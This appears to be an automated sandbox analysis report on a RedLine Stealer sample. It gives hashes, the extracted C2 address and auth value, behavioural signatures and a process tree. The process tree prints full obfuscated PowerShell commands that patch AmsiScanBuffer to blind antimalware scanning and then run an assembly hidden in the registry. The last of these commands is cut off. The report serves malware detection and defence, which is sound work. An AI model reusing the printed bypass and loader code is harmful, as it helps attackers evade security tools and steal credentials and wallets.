Analysis
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max time kernel
46s -
max time network
83s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:20
Static task
static1
Behavioral task
behavioral1
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win10v2004-20220901-en
General
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Target
77d29818be0d01c38545baa0bd4551c6853c224b.exe
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Size
365KB
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MD5
343adbd49e24d1bdec30f634f4055da8
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SHA1
77d29818be0d01c38545baa0bd4551c6853c224b
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SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
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SHA512
4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
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SSDEEP
6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3024-168-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3624 created 2864 3624 SmartDefRun.exe 78 PID 3624 created 2864 3624 SmartDefRun.exe 78 PID 3624 created 2864 3624 SmartDefRun.exe 78 PID 3624 created 2864 3624 SmartDefRun.exe 78 PID 2240 created 628 2240 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 18 348 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 2780 C4Loader.exe 2152 new2.exe 4380 SysApp.exe 3624 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1836 set thread context of 3032 1836 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 2152 set thread context of 3024 2152 new2.exe 94 PID 3624 set thread context of 3124 3624 SmartDefRun.exe 120 PID 2240 set thread context of 924 2240 powershell.EXE 125 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1496 sc.exe 3028 sc.exe 1504 sc.exe 4704 sc.exe 1404 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 2572 1836 WerFault.exe 81 2644 2152 WerFault.exe 92 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 348 powershell.exe 348 powershell.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 4380 SysApp.exe 3024 vbc.exe 3624 SmartDefRun.exe 3624 SmartDefRun.exe 5064 powershell.exe 5064 powershell.exe 3624 SmartDefRun.exe 3624 SmartDefRun.exe 3624 SmartDefRun.exe 3624 SmartDefRun.exe 4260 powershell.exe 4260 powershell.exe 3624 SmartDefRun.exe 3624 SmartDefRun.exe 2668 powershell.EXE 2240 powershell.EXE 2240 powershell.EXE 2668 powershell.EXE 2240 powershell.EXE 924 dllhost.exe 924 dllhost.exe 924 dllhost.exe 924 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 348 powershell.exe Token: SeDebugPrivilege 3024 vbc.exe Token: SeDebugPrivilege 5064 powershell.exe Token: SeDebugPrivilege 4260 powershell.exe Token: SeIncreaseQuotaPrivilege 4260 powershell.exe Token: SeSecurityPrivilege 4260 powershell.exe Token: SeTakeOwnershipPrivilege 4260 powershell.exe Token: SeLoadDriverPrivilege 4260 powershell.exe Token: SeSystemProfilePrivilege 4260 powershell.exe Token: SeSystemtimePrivilege 4260 powershell.exe Token: SeProfSingleProcessPrivilege 4260 powershell.exe Token: SeIncBasePriorityPrivilege 4260 powershell.exe Token: SeCreatePagefilePrivilege 4260 powershell.exe Token: SeBackupPrivilege 4260 powershell.exe Token: SeRestorePrivilege 4260 powershell.exe Token: SeShutdownPrivilege 4260 powershell.exe Token: SeDebugPrivilege 4260 powershell.exe Token: SeSystemEnvironmentPrivilege 4260 powershell.exe Token: SeRemoteShutdownPrivilege 4260 powershell.exe Token: SeUndockPrivilege 4260 powershell.exe Token: SeManageVolumePrivilege 4260 powershell.exe Token: 33 4260 powershell.exe Token: 34 4260 powershell.exe Token: 35 4260 powershell.exe Token: 36 4260 powershell.exe Token: SeIncreaseQuotaPrivilege 4260 powershell.exe Token: SeSecurityPrivilege 4260 powershell.exe Token: SeTakeOwnershipPrivilege 4260 powershell.exe Token: SeLoadDriverPrivilege 4260 powershell.exe Token: SeSystemProfilePrivilege 4260 powershell.exe Token: SeSystemtimePrivilege 4260 powershell.exe Token: SeProfSingleProcessPrivilege 4260 powershell.exe Token: SeIncBasePriorityPrivilege 4260 powershell.exe Token: SeCreatePagefilePrivilege 4260 powershell.exe Token: SeBackupPrivilege 4260 powershell.exe Token: SeRestorePrivilege 4260 powershell.exe Token: SeShutdownPrivilege 4260 powershell.exe Token: SeDebugPrivilege 4260 powershell.exe Token: SeSystemEnvironmentPrivilege 4260 powershell.exe Token: SeRemoteShutdownPrivilege 4260 powershell.exe Token: SeUndockPrivilege 4260 powershell.exe Token: SeManageVolumePrivilege 4260 powershell.exe Token: 33 4260 powershell.exe Token: 34 4260 powershell.exe Token: 35 4260 powershell.exe Token: 36 4260 powershell.exe Token: SeIncreaseQuotaPrivilege 4260 powershell.exe Token: SeSecurityPrivilege 4260 powershell.exe Token: SeTakeOwnershipPrivilege 4260 powershell.exe Token: SeLoadDriverPrivilege 4260 powershell.exe Token: SeSystemProfilePrivilege 4260 powershell.exe Token: SeSystemtimePrivilege 4260 powershell.exe Token: SeProfSingleProcessPrivilege 4260 powershell.exe Token: SeIncBasePriorityPrivilege 4260 powershell.exe Token: SeCreatePagefilePrivilege 4260 powershell.exe Token: SeBackupPrivilege 4260 powershell.exe Token: SeRestorePrivilege 4260 powershell.exe Token: SeShutdownPrivilege 4260 powershell.exe Token: SeDebugPrivilege 4260 powershell.exe Token: SeSystemEnvironmentPrivilege 4260 powershell.exe Token: SeRemoteShutdownPrivilege 4260 powershell.exe Token: SeUndockPrivilege 4260 powershell.exe Token: SeManageVolumePrivilege 4260 powershell.exe Token: 33 4260 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1836 wrote to memory of 3032 1836 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 1836 wrote to memory of 3032 1836 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 1836 wrote to memory of 3032 1836 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 1836 wrote to memory of 3032 1836 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 1836 wrote to memory of 3032 1836 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 3032 wrote to memory of 348 3032 vbc.exe 86 PID 3032 wrote to memory of 348 3032 vbc.exe 86 PID 3032 wrote to memory of 348 3032 vbc.exe 86 PID 348 wrote to memory of 2780 348 powershell.exe 91 PID 348 wrote to memory of 2780 348 powershell.exe 91 PID 348 wrote to memory of 2780 348 powershell.exe 91 PID 348 wrote to memory of 2152 348 powershell.exe 92 PID 348 wrote to memory of 2152 348 powershell.exe 92 PID 348 wrote to memory of 2152 348 powershell.exe 92 PID 2152 wrote to memory of 3024 2152 new2.exe 94 PID 2152 wrote to memory of 3024 2152 new2.exe 94 PID 2152 wrote to memory of 3024 2152 new2.exe 94 PID 2152 wrote to memory of 3024 2152 new2.exe 94 PID 348 wrote to memory of 4380 348 powershell.exe 95 PID 348 wrote to memory of 4380 348 powershell.exe 95 PID 348 wrote to memory of 4380 348 powershell.exe 95 PID 2152 wrote to memory of 3024 2152 new2.exe 94 PID 348 wrote to memory of 3624 348 powershell.exe 96 PID 348 wrote to memory of 3624 348 powershell.exe 96 PID 1288 wrote to memory of 1496 1288 cmd.exe 110 PID 1288 wrote to memory of 1496 1288 cmd.exe 110 PID 1288 wrote to memory of 3028 1288 cmd.exe 111 PID 1288 wrote to memory of 3028 1288 cmd.exe 111 PID 1288 wrote to memory of 1504 1288 cmd.exe 112 PID 1288 wrote to memory of 1504 1288 cmd.exe 112 PID 1288 wrote to memory of 4704 1288 cmd.exe 113 PID 1288 wrote to memory of 4704 1288 cmd.exe 113 PID 1288 wrote to memory of 1404 1288 cmd.exe 114 PID 1288 wrote to memory of 1404 1288 cmd.exe 114 PID 1288 wrote to memory of 1384 1288 cmd.exe 115 PID 1288 wrote to memory of 1384 1288 cmd.exe 115 PID 1288 wrote to memory of 224 1288 cmd.exe 116 PID 1288 wrote to memory of 224 1288 cmd.exe 116 PID 1288 wrote to memory of 2880 1288 cmd.exe 117 PID 1288 wrote to memory of 2880 1288 cmd.exe 117 PID 1288 wrote to memory of 2548 1288 cmd.exe 118 PID 1288 wrote to memory of 2548 1288 cmd.exe 118 PID 1288 wrote to memory of 4776 1288 cmd.exe 119 PID 1288 wrote to memory of 4776 1288 cmd.exe 119 PID 3624 wrote to memory of 3124 3624 SmartDefRun.exe 120 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 2240 wrote to memory of 924 2240 powershell.EXE 125 PID 924 wrote to memory of 628 924 dllhost.exe 3 PID 924 wrote to memory of 680 924 dllhost.exe 1 PID 924 wrote to memory of 964 924 dllhost.exe 19 PID 924 wrote to memory of 384 924 dllhost.exe 10 PID 924 wrote to memory of 444 924 dllhost.exe 11 PID 924 wrote to memory of 828 924 dllhost.exe 18 PID 924 wrote to memory of 708 924 dllhost.exe 12 PID 924 wrote to memory of 1056 924 dllhost.exe 13 PID 924 wrote to memory of 1136 924 dllhost.exe 14 PID 924 wrote to memory of 1184 924 dllhost.exe 16
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:680
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:628
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:384
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0bbf5615-f371-47a4-a1e4-ec6be0991159}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1136
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2600
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:JJWrfQpQHokj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pFXjMXtWYXkRuy,[Parameter(Position=1)][Type]$igwWQhDvzp)$DMdwVAGcpFS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+'l'+'e'+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+''+'M'+'o'+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+'y'+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+'la'+'s'+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+'d'+''+','+''+'A'+'ns'+'i'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+'l'+''+[Char](97)+'ss',[MulticastDelegate]);$DMdwVAGcpFS.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+'e'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$pFXjMXtWYXkRuy).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'g'+'e'+''+[Char](100)+'');$DMdwVAGcpFS.DefineMethod(''+[Char](73)+'n'+[Char](118)+'ok'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+''+[Char](78)+''+[Char](101)+'wS'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'ir'+'t'+''+'u'+''+[Char](97)+''+'l'+'',$igwWQhDvzp,$pFXjMXtWYXkRuy).SetImplementationFlags(''+'R'+'u'+'n'+'t'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $DMdwVAGcpFS.CreateType();}$aUyOftDYuXkoP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+'t'+'e'+''+[Char](109)+'.'+'d'+'ll')}).GetType(''+[Char](77)+'ic'+'r'+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+'e'+[Char](97)+''+[Char](85)+''+'y'+''+[Char](79)+''+[Char](102)+''+[Char](116)+'D'+[Char](89)+''+'u'+''+[Char](88)+''+'k'+''+[Char](111)+''+[Char](80)+'');$UpGLuGYxvHbVhb=$aUyOftDYuXkoP.GetMethod(''+[Char](85)+''+[Char](112)+''+[Char](71)+''+[Char](76)+''+'u'+''+'G'+'Y'+[Char](120)+''+'v'+''+[Char](72)+''+[Char](98)+'V'+[Char](104)+'b',[Reflection.BindingFlags]''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$aizZOWtFpMsopJczQEZ=JJWrfQpQHokj @([String])([IntPtr]);$aBonnxcGDjAMrTRveFcHoC=JJWrfQpQHokj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uLXMKzcnits=$aUyOftDYuXkoP.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+'n'+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$uTDsQVlbhLMSrg=$UpGLuGYxvHbVhb.Invoke($Null,@([Object]$uLXMKzcnits,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+'d'+'L'+[Char](105)+''+'b'+'r'+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$MBXlbVsVSsIVtnxga=$UpGLuGYxvHbVhb.Invoke($Null,@([Object]$uLXMKzcnits,[Object](''+[Char](86)+''+'i'+'r'+'t'+''+'u'+''+[Char](97)+''+'l'+''+'P'+'r'+[Char](111)+''+'t'+'e'+'c'+'t')));$UDRgJPB=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uTDsQVlbhLMSrg,$aizZOWtFpMsopJczQEZ).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+'d'+''+[Char](108)+'l');$DRftSPGXBnWUHdaeR=$UpGLuGYxvHbVhb.Invoke($Null,@([Object]$UDRgJPB,[Object]('A'+[Char](109)+'s'+'i'+''+'S'+''+[Char](99)+'a'+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+''+'r'+'')));$FPhjcHscne=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MBXlbVsVSsIVtnxga,$aBonnxcGDjAMrTRveFcHoC).Invoke($DRftSPGXBnWUHdaeR,[uint32]8,4,[ref]$FPhjcHscne);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$DRftSPGXBnWUHdaeR,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MBXlbVsVSsIVtnxga,$aBonnxcGDjAMrTRveFcHoC).Invoke($DRftSPGXBnWUHdaeR,[uint32]8,0x20,[ref]$FPhjcHscne);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+'T'+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+'a'+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2668 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jDOIXUeZhLVG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QLssmUeOchRMpa,[Parameter(Position=1)][Type]$OCvBelzMMh)$ycNGFXPjImY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+'e'+[Char](99)+''+'t'+''+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+'l'+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+'e'+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+',A'+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$ycNGFXPjImY.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+'N'+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+'i'+'g'